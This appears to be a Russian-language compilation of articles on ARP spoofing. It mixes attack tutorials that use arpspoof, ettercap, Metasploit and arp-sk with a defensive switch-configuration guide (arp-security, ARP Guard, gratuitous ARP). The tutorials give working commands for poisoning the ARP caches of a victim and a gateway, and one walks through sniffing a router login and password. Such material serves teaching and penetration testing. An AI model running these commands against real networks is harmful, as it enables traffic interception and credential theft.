Arp spoofing что это

Arp spoofing что это

ARP—spoofing (ARP — poisoning) — разновидность сетевой атаки типа MITM (англ. Man in the middle), применяемая в сетях с использованием протокола ARP.

ARP или Address Resolution Protocol — протокол канального уровня, используемый для определения MAC-адреса по заданному IP-адресу в семействе протоколов IPv4. В семействе протоколов IPv6 ARP не существует, его функции возложены на ICMPv6. Однако мы все еще имеем огромное количество сетей, работающих с IPv4. И сегодня мы поговорим об известной атаке arp-spoofing и утилитах Kali Linux , позволяющих ее реализовать.

Коротко о работе протокола

Рассмотрим ситуацию, когда компьютеры A и B находятся в разных локальных сетях и связаны друг с другом через Интернет. Для передачи данных, компьютер A использует IP-адрес компьютера B в качестве адреса назначения и отправляет пакет в Интернет. Пройдя через серию маршрутизаторов, он попадает на шлюз сети, которой принадлежит компьютер B.
В локальной сети компьютера B для адресации используются 6-ти байтные MAC-адреса и, когда пакет достигает шлюза, дальнейшая доставка данных по локальной сети возможна, только если известен MAC-адрес компьютера B. Если шлюзу MAC-адрес не известен, он отправляет в сети широковещательный ARP-запрос, суть которого состоит в следующем «Компьютер с IP-адресом компьютера B, сообщите мне (шлюзу) свой MAC-адрес». Т.к. запрос широковещательный, он достигает компьютера B и в ответ он посылает ARP-ответ со своим MAC-адресом. Остальные компьютеры сети не посылают никаких пакетов на ARP-запрос шлюза, т.к. имеют IP-адреса, отличные от IP-адреса компьютера B. Шлюз, получив MAC-адрес компьютера B, заносит в свою ARP-таблицу (кэш) соответствие IP-адрес и MAC-адрес компьютера B и, затем, отправляет на него данные, полученные через Интернет от компьютера A. В то же время компьютер B заносит в свою ARP-таблицу соответствие IP и MAC адресов шлюза, чтобы иметь возможность посылать данные компьютеру A.
На первый взгляд все должно работать просто и надежно, если бы не одна особенность — ARP не проверяет подлинность ARP-запросов и ARP-ответов и позволяет отправлять ARP-ответы узлам сети произвольно, т.е. даже если узел не отправлял в сети никаких ARP-запросов. Самопроизвольные ответы нужны, например для выявления конфликтов IP-адресов в локальной сети. Подробнее можно прочитать здесь Gratuitous_ARP

ARP-poison

Предположим, что нам нужно прослушивать данные, передаваемые между компьютерами A и B. Наш компьютер находится в одной локальной сети с компьютером B. У нас есть свой MAC-адрес, мы знаем MAC-адрес компьютера B и MAC-адрес шлюза нашей локальной сети.
Компьютеры в современных локальных сетях соединены друг с другом через коммутаторы. Коммутатор «помнит» к какому порту подключен хост с каким MAC-адресом. Т.е. получив пакет от компьютера B шлюзу, мы этот пакет не получим, т.к. он не будет отправлен на все порты коммутатора, а лишь на тот, к которому, по мнению коммутатора, сейчас подключен шлюз. Во времена, когда использовались хабы вместо коммутаторов, мы могли бы слушать трафик без каких-либо проблем.
Атаку ARP-spoofing часто называют так же ARP-cache poisoning и это название весьма говорящее.
Т.к. нам позволено отправлять ARP-ответы любому узлу сети когда нам захочется, мы отправим ARP-ответ шлюзу такого содержания «Я узел сети с IP-адресом компьютера B, и вот мой MAC-адрес [MAC-адрес нашего хоста]» а компьютеру B отправим ARP-ответ такого содержания «Я шлюз и мой MAC-адрес [снова MAC-адрес нашего хоста]». Получив такие пакеты, шлюз и компьютер B обновят свой ARP-кэш.
Теперь, если компьютер B захочет отправить данные через Интернет компьютеру A, он пошлет свои данные, как он считает в соответствии со своей ARP-таблицей, на MAC-адрес шлюза, тогда как в действительности данные будут отправлены на наш MAC-адрес, а мы, в свою очередь, отправим их дальше на настоящий MAC-адрес шлюза. Ответ от компьютера А снова пройдет через нашу машину.

Реализация атаки в Kali Linux

Увидеть содержание ARP-таблицы хоста можно следующим образом.

В системах Windows:
arp -a

В системах Linux:
arp

Для проведения атаки arp-spoofing в Kali Linux должны быть разрешены транзитные пакеты.
Разрешить IPv4 форвардинг можно отредактировав файл /etc/sysctl.conf
Нужно раскомментировать строку
net.ipv4.ip_forward = 1
После чего выполнить команду
sysctl -p /etc/sysctl.conf
Если же вы не хотите разрешать это на постоянно основе, можно разрешить форвардинг так
echo 1 > /proc/sys/net/ipv4/ip_forward

Так же стоит убедиться, что транзитный трафик не блокируется правилами iptables.

В Kali Linux Rolling 2016.2 предустановлены следующие инструменты для проведения атаки ARP-spoofing:

arpspoof

Пример использования:
arpspoof -i eth0 -t [ip жертвы] [ip шлюза жертвы]
arpspoof -i eth0 -t [ip шлюза жертвы] [ip жертвы]
-i — указывает интерфейс, подключенный к локальной сети жертвы
-t — указывает IP-адрес хоста, arp-кэш которого требуется «отравить». Если ключ не указан, атака будет проведена по всех хостам в сети, т.е. все участники сети, при попытке отправить пакет шлюзу, будут отправлять его нам.

или одной командой
arpspoof -i eth0 -t [ip шлюза жертвы] -r [ip жертвы]
ключ -r указывает arpspoof «отравлять» arp-кэш обеих хостов.

ettercap

Выбрать Unified sniffing и интерфейс

Добавить жертву и шлюз в разные группы целей

Выбрать Mitm -> ARP poisoning

Отметить sniff remote connections и запустить

Фреймворк метасплойт

Можно ипользовать акзилари модуль метасплойта auxiliary/spoof/arp/arp_poisoning

msfconsole
use auxiliary/spoof/arp/arp_poisoning
set BIDIRECTIONAL true
set INTERFACE eth0
set DHOST [ip-адрес шлюза]
set SHOST [ip-адрес жертвы]
set LOCALSIP [ip-адрес нашего хоста]
exploit

Помимо предустановленных инструментов, можно установить и использовать следующие:

Также стоит добавить, что после проведения атаки следует корректно ее завершать, восстановив валидные записи в arp-таблицах атакованных хостов.

Что потом?

После проведения атаки ARP-spoofing мы можем запускать сниффер и слушать трафик участников сети.
В сети могут присутствовать средства обнаружения данной атаки и при проведении пентеста нужно это учитывать. В конце концов arp-poisoning — лишь один из способов оказаться на пути трафика между двумя хостами и целесообразность его применения зависит от условий, в которых проводится тестирование.

• antgorka
• 48223 0 —>
• Network security

Оставить комментарий Отменить ответ

Для отправки комментария вам необходимо авторизоваться.

05. Предотвращение подделки ARP (ARP Spoofing)

Протокол ARP отвечает за сопоставление IP-адреса с MAC-адресом. Весь процесс сопоставления заключается в том, что хост отправляет пакет, содержащий информацию о требуемом IP-адресе, широковещательно. Другой хост, которому принадлежит требуемый IP-адрес, отправляет в ответ пакет, содержащий свой IP-адрес и MAC-адрес. Таким образом два хоста могут обмениваться информацией друг с другом на основе MAC-адреса.

Для сокращения количества ARP-пакетов в сети, протокол ARP спроектирован таким образом, что даже если хост не запрашивал ARP другого хоста, при получении такого пакета он внесет запись в свою таблицу. Поэтому существует возможность подделки ARP-пакета (ARP Spoofing). Когда злоумышленник хочет перехватить трафик между двумя хостами, он отправляет ARP-ответы на оба этих хоста по отдельности, заставляя их принимать свой MAC-адрес за MAC-адреса друг-друга. Таким образом трафик от одного хоста к другом фактически будет передаваться через хост злоумышленника, что позволяет ему не только прочитать необходимую информацию, но и модифицировать пакеты данных на свое усмотрение для последующей передачи.

5.1.1. Отключение обновления без запроса (arp-security)

Основным методом предотвращения ARP Spoofing в сетях является отключение на коммутаторе возможность автоматического обновления ARP. После этого злоумышленник не сможет изменить MAC-адрес в ARP-таблице. В то же время это не прерывает функцию автоматического обучения ARP. Таким образом, это в значительной степени предотвращает возможность подмены ARP.

5.1.2. ARP Guard

Существует также вероятность подмены злоумышленником адреса шлюза или коммутатора — в этом случае кроме перехвата трафика данных, существует также опасность отказа всей сети из-за передачи трафика не по назначению. Для предотвращения подмены адреса шлюза, возможно использовать функцию ARP Guard. При получении на порт ARP-ответа с source адресом, указанным в ARP-Guard, это пакет будет расценен как вредоносный и отброшен.

5.1.3. Рассылка ARP коммутатором без запроса (Gratuitous ARP)

Еще одним из способов предотвращения подмены ARP коммутатора (или шлюза) является периодическая рассылка коммутатором ARP-ответов без запроса (функция Gratuitous ARP). С одной стороны это позволяет предотвратить акату, так как хосты периодически будут обновлять свои ARP-таблицы и вероятность подмены будет низка. С другой стороны это позволит уменьшить количество исходящего трафика от хостов, так как не будет необходимости отправлять ARP-запрос шлюзу для обновления ARP-таблицы.

5.2. Настройка функции предотвращения ARP Spoofing

1. Отключить автоматическое обновления ARP;
2. Отключить автоматическое обучение ARP;
3. Конвертировать динамические ARP в статические;
4. Настроить защищенный IP-адрес для arp-guard;
5. Настроить Gratuitous ARP;
6. Просмотреть конфигурацию Gratuitous ARP.

1. Отключить автоматическое обновления ARP:

Команда

Описание

ip arp-security updateprotect

no ip arp-security updateprotect

! В режиме глобальной конфигурации и в режиме конфигурирования интерфейса

Выключить автоматическое обновление ARP

Включить автоматическое обновление ARP

2. Отключить автоматическое обучение ARP:

Команда

Описание

ip arp-security learnprotect

no ip arp-security learnprotect

! В режиме глобальной конфигурации и в режиме конфигурирования интерфейса

Выключить автоматическое обучение ARP

Включить автоматическое обучение ARP

3. Конвертировать динамические ARP в статические:

Команда

Описание

ip arp-security convert

! В режиме глобальной конфигурации и в режиме конфигурирования интерфейса

Конвертировать динамические ARP в статические ARP

4. Настроить защищенный IP-адрес для arp-guard

Команда

Описание

! В режиме конфигурирования интерфейса

Добавить ARP Guard адрес

Удалить ARP Guard адрес

5. Настроить Gratuitous ARP.

Команда

Описание

no ip gratuituous-arp

! В режиме глобальной конфигурации или в режиме конфигурирования интерфейса

Включить функцию gratuitious ARP и задать интервал отправки сообщений ARP в секундах.

Отключить функцию gratuitious ARP

6. Просмотреть конфигурацию Gratuitous ARP.

Команда

Описание

show ip gratuituous-arp [interface vlan ]

no show ip gratuituous-arp

! В привилегированном режиме

Добавить ARP-Guard адрес

Удалить ARP-Guard адрес

5.3. Пример использования функции предотвращения ARP Spoofing

Рисунок 37.1 — Пример топологии для использования функции предотвращения ARP spoofing.

Оборудование

Конфигурация

Кол-во

IP:192.168.2.4; mac: 00-00-00-00-00-04

IP:192.168.2.1; mac: 00-00-00-00-00-01

IP:192.168.1.2; mac: 00-00-00-00-00-02

IP:192.168.2.3; mac: 00-00-00-00-00-03

На рисунке 37.1 связь установлена между хостами B и C. Хост A хочет, чтобы коммутатор направлял ему пакеты, отправленные хостом B. В первую очередь Хост A отправляет пакет ARP-ответа на коммутатор в формате 192.168.2.3, 00-00-00-00-00-01, сопоставляя его MAC-адрес c IP-адресом хоста С. Коммутатор обновляет таблицу ARP и начинает отправлять пакеты для 192.168.2.3 на MAC-адрес 00-00-00-00-00-01 (адрес хоста A).
В дальнейшем хост А пересылает принятые пакеты хосту С, заменив адрес источника и адрес назначения. Так как ARP таблица обновляется, хост A должен непрерывно отправлять ARP-ответы с подмененным адресом на коммутатор.
Поэтому необходимо настроить запрещение изучения ARP в стабильной сети, а затем заменить динамические ARP-записи на статические. В результате выученные ARP не будут обновляться и будут защищены.

Switch#config Switch(config)#interface vlan 1 Switch(config-if-vlan1)#arp 192.168.2.1 00-00-00-00-00-01 interface ethernet 1/0/1 Switch(config-if-vlan1)#arp 192.168.2.2 00-00-00-00-00-02 interface ethernet 1/0/2 Switch(config-if-vlan1)#arp 192.168.2.3 00-00-00-00-00-03 interface ethernet 1/0/3 Switch(Config-If-Vlan3)#exit Switch(Config)#ip arp-security learnprotect Switch(Config)# Switch(config)#ip arp-security convert

Если топология и конфигурация сети меняется, необходимо запретить обновления ARP: как только запись в ARP таблицу будет добавлена, она не может быть обновлена новым ARP-ответом.

Switch#config Switch(config)#ip arp-security updateprotect

Для защиты от подмены адреса коммутатора необходимо настроить ARP Guard и Gratuitous ARP:

Switch#config Switch(config)#int eth 1/0/1-3 Switch(config-if-port-range)#arp-guard ip 192.168.2.4 Switch(config-if-port-range)#exit Switch(config)#interface vlan 1 Switch(config-if-vlan1)#ip gratuitous-arp 5

• Нет меток

Практика использования arp-spoofing

В данной статье я расскажу как, используя пакет утилит arp-sk в операционной системе GNU/Linux реализовать атаку man-in-the-middle на протокол arp.

Для чего вообще нужна такая атака:
На хабре достаточно много статей например для взлома Wi-Fi. Но что делать после того, как ключ взломан? Тут можно увидеть один из вариантов действий.

Немного теории

Протокол arp необходим для передачи в среде Ethernet. Потому как передача осуществляется по mac-адресам. Подробнее о mac-адресе можно почитать в википедии.
ru.wikipedia.org/wiki/MAC-%D0%B0%D0%B4%D1%80%D0%B5%D1%81
Для того, чтобы сообщение было передано от одного сетевого устройства к другому, в частности от Victim к Router компьютеру необходимо осуществить сопоставление IP-адрес — mac-адрес. Рассмотрим этот процесс с помощью утилиты tcpdump
# tcpdump -i eth1 -vvv
21:11:14.076068 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 192.168.4.1 tell 192.168.4.17, length 28
21:11:14.077852 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.4.1 is-at 00:50:ba:46:5d:92 (oui Unknown), length 46

первый пакет — компьютер отправляет широковещательное сообщение с целью узнать mac-адрес, который принадлежит ip-адресу 192.168.4.1 и просьбой отослать ответ на 192.168.4.11. Здесь не видно, но компьютер 192.168.4.11 при отправлении данного запроса указывает свой mac-адрес в качестве источника и широковещательный mac-адрес(FF:FF:FF:FF:FF:FF) в качестве адреса получателя. Сетевое устройство, получив данный пакет должно произвести сравнение ip-адреса со своим, и в случае совпадения послать следующий пакет.
второй пакет — устройство с адресом 192.168.4.1 отвечает на mac-адрес, который был указан в запросе со своего mac-адреса, что адрес 192.168.4.1 находится на 00:50:ba:46:5d:92.

В связи с тем, что arp-запрос отсылается на широковещательный адрес то данное сообщение могут получить любой, кто находится в одном широковещательном сегменте с источником. Посему возникает один из вариантов атаки — постоянно отправлять сообщение о своем mac-адресе. При этом, когда компьютер-жертва отправляет arp-запрос на роутер, то сразу же получает ответ от атакующего. Соответственно траффик будет направлен атакующему.

Наша задача: получить траффик компьютера Victim с помощью компьютера Attacker.
Для этого мы будем использовать самопроизвольный arp-ответ. В протоколе arp предусмотрена возможность отправления устройством arp-запроса или ответа в случае, если такое не требуют другие устройства. Для чего это надо — например, если изменился mac-адрес маршрутизатора. В случае, если компьютер поддерживает самопроизвольный arp то он перезапишет легитимный адрес на адрес атакующего.

Проведение атаки

Установка необходимого ПО

Arp-sk:
# wget sid.rstack.org/arp-sk/files/arp-sk-0.0.16.tgz
# tar xvzf arp-sk-0.0.16.tgz
# cd arp-sk-0.0.16/
# ./configure
# make
В случае успешной компиляции пакета, устанавливаем его
# make install
Варианты запуска команды можно посмотреть с помощью
# arp-sk —help
нам понадобятся следующие ключи:
Usage: arp-sk
-r —reply отправлять ARP ответ

-d —dst получатель в link layer ()
-s —src источник в link layer ()

-D —arp-dst получатель в ARP сообщении ([hostname|hostip][:MAC])
-S —arp-src источник в ARP сообщении ([hostname|hostip][:MAC])

-i —interface указать интерфейс (eth0)

Подмена адреса

Мы должны отправить роутеру и компьютеру arp-сообщения о том, что mac-адрес другого устройства наш.
перед этим мы настроим компьютер Attacker для перенаправления траффика. Для этого включим перенаправление трафика в ядре:
# echo 1 > /proc/sys/net/ipv4/ip_forward
Теперь разрешим перенаправление траффика в пакетном фильтре. У меня используется iptables, поэтому я добавляю разрешающие политики в цепочку FORWARD. Так как у меня сеть для атаки используется тестовая, то я могу добавить следующие правила:
# iptables -I FORWARD 1 -s 192.168.4.17 -j ACCEPT
# iptables -I FORWARD 2 -d 192.168.4.17 -j ACCEPT
Эти 2 правила разрешают перенаправление траффика атакующим компьютером для адреса 192.168.4.17.
Внимание! Данные правила являются потенциально опасными, особенно, если у вас несколько сетевых интерфейсов. В таком случае рекомендую использовать более точные правила.

Посмотрим адреса
Наш адрес:
# ifconfig eth1 | grep HW
eth1 Link encap:Ethernet HWaddr 00:13:CE:5C:11:34

Адреса других устройств
# arp -an
? (192.168.4.1) at 00:50:ba:46:5d:92 [ether] on eth1
? (192.168.4.17) at 00:1c:bf:41:53:4b [ether] on eth1

Посмотрим таблицу маршрутизации компьютера Victim:

Теперь отправляем устройствам следующие arp-пакеты: подставляем в качестве mac-адреса другого устройства свой.
Первый от имени 192.168.4.17 о том, что его mac-адрес теперь 00:13:CE:5C:11:34 отправляем на 192.168.4.1 (00:50:ba:46:5d:92)
Второй от имени 192.168.4.1 о том, что его mac-адрес теперь 00:13:CE:5C:11:34 отправляем на 192.168.4.17 (00:1c:bf:41:53:4b)

# arp-sk -i eth1 -r -s 00:13:CE:5C:11:34 -S 192.168.4.17 -d 00:50:ba:46:5d:92 -D 192.168.4.1
# arp-sk -i eth1 -r -s 00:13:CE:5C:11:34 -S 192.168.4.1 -d 00:1c:bf:41:53:4b -D 192.168.4.17

У нас будет следующий вывод:
+ Initialization of the packet structure
+ Running mode «reply»
+ Ifname: eth1
+ Source MAC: 00:13:ce:5c:11:34
+ Source ARP MAC: 00:13:ce:5c:11:34
+ Source ARP IP : 192.168.4.1
+ Target MAC: 00:1c:bf:41:53:4b
+ Target ARP MAC: 00:1c:bf:41:53:4b
+ Target ARP IP : 192.168.4.17

— Start classical sending —
TS: 21:30:44.338540
To: 00:1c:bf:41:53:4b From: 00:13:ce:5c:11:34 0x0806
ARP For 192.168.4.17 (00:1c:bf:41:53:4b):
192.168.4.1 is at 00:13:ce:5c:11:34

Посмотрим теперь на компьютере Victim arp-таблицу:

Собственно все. Теперь можно запустить свой любимый сниффер и получить необходимые пакеты. Например ping до яндекса

Добавление. В случае, если на компьютере установлен брандмауэр, то он может выдать сообщение о подмене адреса.

Данная информация приведена только для ознакомления. Автор напоминает вам о Статье 272 УК РФ «Неправомерный доступ к компьютерной информации»

ARP Spoofing | Отравление ARP

ARP протокол предназначен для автоматического определения MAC-адреса по IP-адресу в режиме запрос ответ.

Что за ARP Spoofing? Зачем нужен?

ARP spoofing (также называют ARP отравление) относится к виду MITM атак (атака человек по середине), злоумышленник встает между сетевыми узлами отправляя поддельные arp ответы на один сетевой узел или несколько узлов (чаще всего страдают маршрутизаторы).

Для более эффективной работы устройства обычно кэшируют эти ответы и создают список текущих назначений MAC-IP. Суть arp отравления заключается в отравлении arp кэша, т.е создании ложной записи соответствия IP жертвы mac адресу (т.е. в конечном итоге в записях будет: mac злоумышленника принадлежит IP жертвы) что позволяет злоумышленнику получить доступ к траффику. В последствии можно даже произвести DOS атаку (атака отказа в обслуживании) если будет две или более атаки отравлением arp на одни и те же цели. Почему? Предположим два хакера решили менять в кэше arp mac адреса на свои, тогда цели попросту не поймут куда им нужно отправить тот или иной пакет. Итогом станет «отказ в обслуживании» и все попросту встанет.

Суть этой этой атаки в том что можно просто блокировать или модифицировать траффик ведь он весь будет идти через злоумышленника, а прослушивая траффик используя сниффер можно узнать креды (данные учетки для входа, обычно логин + пароль) или другую конфиденциальную информацию пользователя.
Атаку можно разделить на 2 этапа:

1. Выбор цели(жертва);
2. Выбор типа arp отравления;
3. Выбор инструмента который мы будем использовать для подмены mac (arpspoof, ettercap, driftnet и т.д.);
4. Реализация атаки.

Пассивный и Активный спуфинг

• При пассивном arp отравлении, нет активной отправки arp ответов, злоумышленник отслеживает сеть, собирает информацию (к примеру информацию о сопоставлениях IP-MAC-адресов устройств в сети и о кэше ARP).
• При активном спуфинге злоумышленник отправляет поддельные arp ответы, прослушивает, изменяет или блокирует траффик жертвы.

Практический пример arp отравления

Все машины находятся в одной сети.

В этой атаке задействовано минимум 3 сетевых узла: два узла обменивающиеся данными и один принадлежит атакующему. (это минимум так как это MITM атака и мы вклиниваемся между устройствами обменивающимися данными и получаем доступ к траффику).
Сеть: 192.168.1.0/24

Жертва: win 10 x64 — 192.168.1.1/24 (для проверки соединения с маршрутизатором доставкой ICMP пакетов я добавил правила в брандмауэр / для упрощения легче будет просто отключить фаервол)

Атакующий: Kali linux — 192.168.1.30/24

Настроенная виртуальная машина Маршрутизатор: 2 сетевых интерфейса 192.168.85.2/24 и интерфейс с выходом в интернет NAT

PfSense — это дистрибутив FreeBSD из которого можно сделать межсетевой экран или маршрутизатор — 192.168.1.1/24 и интерфейс с выходом в интернет NAT (https://www.pfsense.org/download/)

Подмена mac адресов будет осуществляться с помощью инструмента arpspoof.
Необходимо включить IP форвардинг на хосте атакующего, чтобы трафик уходил с хоста атакующего. Если не включить жертва потеряет соединение.
echo 1 > /proc/sys/net/ipv4/ip_forward

Теперь заставим жертву считать нас маршрутизатором, чтобы весь отправляемый жертвой траффик проходил через нас, флагом «-i» задаем сетевой интерфейс с IP которым находимся в одной сети с целями; флагом -t указываем цели.
arpspoof -i eth0 -t 192.168.1.1 192.168.1.24

Теперь нужно чтобы маршрутизатор считал нас жертвой и отправлял данные через нас.

arpspoof -i eth0 -t 192.168.1.24 192.168.1.1

Дальше запускаем любой сниффер wireshark или tcpdump и начинаем прослушивать интерфейс в моем случае eth0.

Теперь узнаем креды от панели управления маршрутизатора, я просто подключаюсь через IP 192.168.1.1 к панели и ввожу логин с паролем, после выполненного входа давайте посмотреть что нашел наш сниффер, будем смотреть http запросы POST метода. Поискав их можно найти http запрос с логином и паролем.

В итоге атакующий сможет подключиться к панели управления маршрутизатором, а если пользователь будет вводить свои учетные данные от любого другого сервиса, то злоумышленник сможет получить к нему доступ.

ARP Spoffing работает как в проводных так и в беспроводных сетях. К примеру для беспроводной сети, указывался другой интерфейс.

Также для обнаружения целевых машин используется утилита netdiscover или nmap.

Внимание: при отправке поддельных arp ответов не закрывайте терминал.